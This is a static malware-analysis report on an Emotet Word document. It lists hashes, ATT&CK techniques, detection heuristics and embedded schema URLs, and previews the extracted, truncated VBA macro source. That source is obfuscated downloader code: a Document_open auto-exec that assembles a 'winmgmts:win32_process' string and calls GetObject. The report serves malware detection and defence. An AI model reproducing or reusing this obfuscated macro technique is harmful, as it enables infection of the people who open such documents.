Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 3614f2f4d4f09163…

MALICIOUS

Office (OOXML)

126.2 KB Created: 2020-02-04 13:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-08-25
MD5: 5587bdb5944a83f0fb08606dc3a0572f SHA-1: a5a0d9018d1c6d765cf726836188b6fca7e412fa SHA-256: 3614f2f4d4f091637741fa897fbdd19777a1e2553610f8e497f1a15c01a31757
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros, specifically a Document_Open macro that executes code. ClamAV detections identify it as Emotet, a known downloader family. The VBA script appears to be obfuscated but its execution via Document_Open and GetObject calls indicates it's designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7577268-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7577268-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 11025 bytes
SHA-256: 02e956e2e888c2be67714cae3c9685323a3c09fe108b9c2537f1b5fe170ef11f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ktdkyljk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (408) + 983 + 412
oi267381894234 = (Gspeswuih) + "diiw jiqw"
oi267381894236 = (132) + 178
oi267381894288 = "Ololo suka Blyad yeh"
oi267381894232 = (Sizvzcncfhaps)
oi267381894223 = (730) + 507
oi2673818942982 = ("Ololo suka Blyad yeh") + "dswe jqhh"
oi26738189422356 = "Ololo suka Blyad yeh" + "wejb jjjj"
oi267381894261 = ("Ololo suka Blyad yeh")
oi26738189422 = (630) + 480
Tffwixre.Zuseefkazdme
End Sub

Attribute VB_Name = "Rjimcmppqf"
Attribute VB_Base = "0{A0590D78-4365-4EC1-B75D-F33ED1ACAC8D}{E4E42007-ADA4-4F6E-BED6-51A4330E3956}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tffwixre"
Function Zuseefkazdme()
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (956) + 622 + 120
oi267381894234 = (Jnsdvibyc) + "diiw jiqw"
oi267381894236 = (16) + 50
oi267381894288 = "Ololo suka Blyad yeh"
oi267381894232 = (Lexrltly)
oi267381894223 = (503) + 516
oi2673818942982 = ("Ololo suka Blyad yeh") + "dswe jqhh"
oi26738189422356 = "Ololo suka Blyad yeh" + "wejb jjjj"
oi267381894261 = ("Ololo suka Blyad yeh")
oi26738189422 = (647) + 325
Dfpcbotnotv = "2^2^73^72^777^82wi2^2^73^72^777^82nm2^2^73^72^777^82g2^2^73^72^777^82mt2^2^73^72^777^82" + ChrW(Rjimcmppqf.Zoom + 15) + "2^2^73^72^777^82:w2^2^73^72^777^82in2^2^73^72^777^82322^2^73^72^777^82_" + Rjimcmppqf.Jsksiikmvxqgl + "r2^2^73^72^777^82oc2^2^73^72^777^82e2^2^73^72^777^82s2^2^73^72^777^82s"
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (148) + 665 + 503
oi267381894234 = (Jbritatilsa) + "diiw jiqw"
oi267381894236 = (232) + 163
oi267381894288 = "Ololo suka Blyad yeh"
oi267381894232 = (Funvnrvlnlsuk)
oi267381894223 = (23) + 160
oi2673818942982 = ("Ololo suka Blyad yeh") + "dswe jqhh"
oi26738189422356 = "Ololo suka Blyad yeh" + "wejb jjjj"
oi267381894261 = ("Ololo suka Blyad yeh")
oi26738189422 = (28) + 190
Iblxkaxtsnji = Qxpeymwnfzi(Dfpcbotnotv)
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (293) + 52 + 964
oi267381894234 = (Krrrwzmngja) + "diiw jiqw"
oi267381894236 = (536) + 177
oi267381894288 = "Ololo suka Blyad yeh"
oi267381894232 = (Saqcvzmkt)
oi267381894223 = (259) + 551
oi2673818942982 = ("Ololo suka Blyad yeh") + "dswe jqhh"
oi26738189422356 = "Ololo suka Blyad yeh" + "wejb jjjj"
oi267381894261 = ("Ololo suka Blyad yeh")
oi26738189422 = (102) + 100
Set Jfpoxqglwxi = GetObject(cnjq + Iblxkaxtsnji + hnuqw)
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (209) + 671 + 861
oi267381894234 = (Wrheioorsymx) + "diiw jiqw"
oi267381894236 = (184) + 966
oi267381894288 = "Ololo suka Blyad yeh"
oi267381894232 = (Weckaajacmrvx)
oi267381894223 = (573) + 298
oi2673818942982 = ("Ololo suka Blyad yeh") + "dswe jqhh"
oi26738189422356 = "Ololo suka Blyad yeh" + "wejb jjjj"
oi267381894261 = ("Ololo suka Blyad yeh")
oi26738189422 = (27) + 439
Hspzytid = Rjimcmppqf.Bddfxlkx.Tag
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (645) + 582 + 121
oi267381894234 = (Rfvrnioum) + "diiw jiqw"
oi267381894236 = (639) + 508
oi267381894288 = "Ololo suka Blyad yeh"
oi267381894232 = (Iazvoayeep)
oi267381894223 = (654) + 594
oi2673818942982 = ("Ololo suka Blyad yeh") + "dswe jqhh"
oi26738189422356 = "Ololo suka Blyad yeh" + "wejb jjjj"
oi267381894261 = ("Ololo suka Blyad yeh")
oi26738189422 = (824) + 847
Hekdzohgehf = Iblxkaxtsnji + ChrW(Int(wdKeyS)) + Rjimcmppqf.Zofdtzkuetoet.Tag + Hspzytid
   oi26738189422345 = "Ololo suka Blyad yeh"
oi26738189427263 = (857) + 653 + 813
oi267381894234 = (Zeteclzqxwyvj) + "diiw j
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 50176 bytes
SHA-256: e690375c9c4e21270c26388dc18706d90f9fcdeb1dacf701238c1b6bc96e71bd
Detection
ClamAV: Doc.Downloader.Emotet-7577268-0
Obfuscation or payload: unlikely